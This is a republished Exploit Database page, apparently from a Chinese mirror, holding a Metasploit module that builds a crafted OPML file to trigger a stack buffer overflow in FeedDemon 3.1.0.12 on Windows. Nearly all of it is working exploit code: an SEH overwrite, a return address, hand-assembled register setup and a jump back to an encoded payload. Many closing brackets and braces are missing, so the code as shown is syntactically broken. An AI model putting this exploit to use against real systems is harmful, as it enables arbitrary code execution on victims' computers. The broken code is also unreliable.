feedDemon 3.1.0.12 – Local Stack Buffer Overflow (Metasploit)

Exploit Database
117 阅读

作者： Metasploit

日期： 2010-11-11
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16640/

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# $Id: feeddemon_opml.rb 10998 2010-11-11 22:43:22Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application

is used to import a specially crafted opml file, a buffer overflow occurs allowing

arbitrary code execution.

All versions are suspected to be vulnerable. This vulnerability was originally reported

against version 2.7 in February of 2009.

'License'=> MSF_LICENSE,

'Author' =>

[

'fl0 fl0w',# Original Exploit

'dookie',# MSF Module

'jduck'# SEH + AlphanumMixed fixes

'Version'=> '$Revision: 10998 $',

'References' =>

[

[ 'CVE', '2009-0546' ],

[ 'OSVDB', '51753' ],

[ 'BID', '33630' ],

[ 'URL', 'http://www.exploit-db.com/exploits/7995' ],

[ 'URL', 'http://www.exploit-db.com/exploits/8010' ],

[ 'URL', 'http://www.exploit-db.com/exploits/11379' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space'=> 1024,

'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff",

'DisableNops' => true,

# We are not strictly limited to alphanumeric. However, currently

# no encoder can handle our bad character set.

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

'Platform' => 'win',

'Targets'=>

[

# Tested OK on XPSP3 - jduck

[ 'Windows Universal',

{

'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12

}

'Privileged' => false,

'DisclosureDate' => 'Feb 09 2009',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),

], self.class)

end

def exploit

head_opml = '<opml version="1.1">'

head_opml << '<body>'

head_opml << '<outline text="'

header = "\xff\xfe" # Unicode BOM

header << Rex::Text.to_unicode(head_opml)

foot_opml = '">'

foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>'

foot_opml << '</outline>'

foot_opml << '</body>'

foot_opml << '</opml>'

footer = Rex::Text.to_unicode(foot_opml)

# Set ECX to point to the alphamixed encoded buffer (IIIII...)

# We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8

off = 0x1ff2

set_ecx_asm = %Q|

mov ecx, [esp+8]

sub ecx, #{0x01010101 + off}

add ecx, 0x01010101

set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string

# Jump back to the payload, after p/p/r jumps to us.

# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..

# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself

distance = 0x1ffd + 8 + 5

jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

# SEH

seh_frame = generate_seh_record(target.ret)

# Assemble everything together

sploit = ''

sploit << set_ecx

sploit << payload.encoded

sploit << rand_text_alphanumeric(8194 - sploit.length)

sploit << seh_frame

sploit << jmp_back

sploit << rand_text_alphanumeric(8318 - sploit.length)

# Ensure access violation reading from smashed pointer

num = rand_text(4).unpack('V')[0]

sploit << [num | 0x80000000].pack('V')

evil = header + sploit + footer

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(evil)

end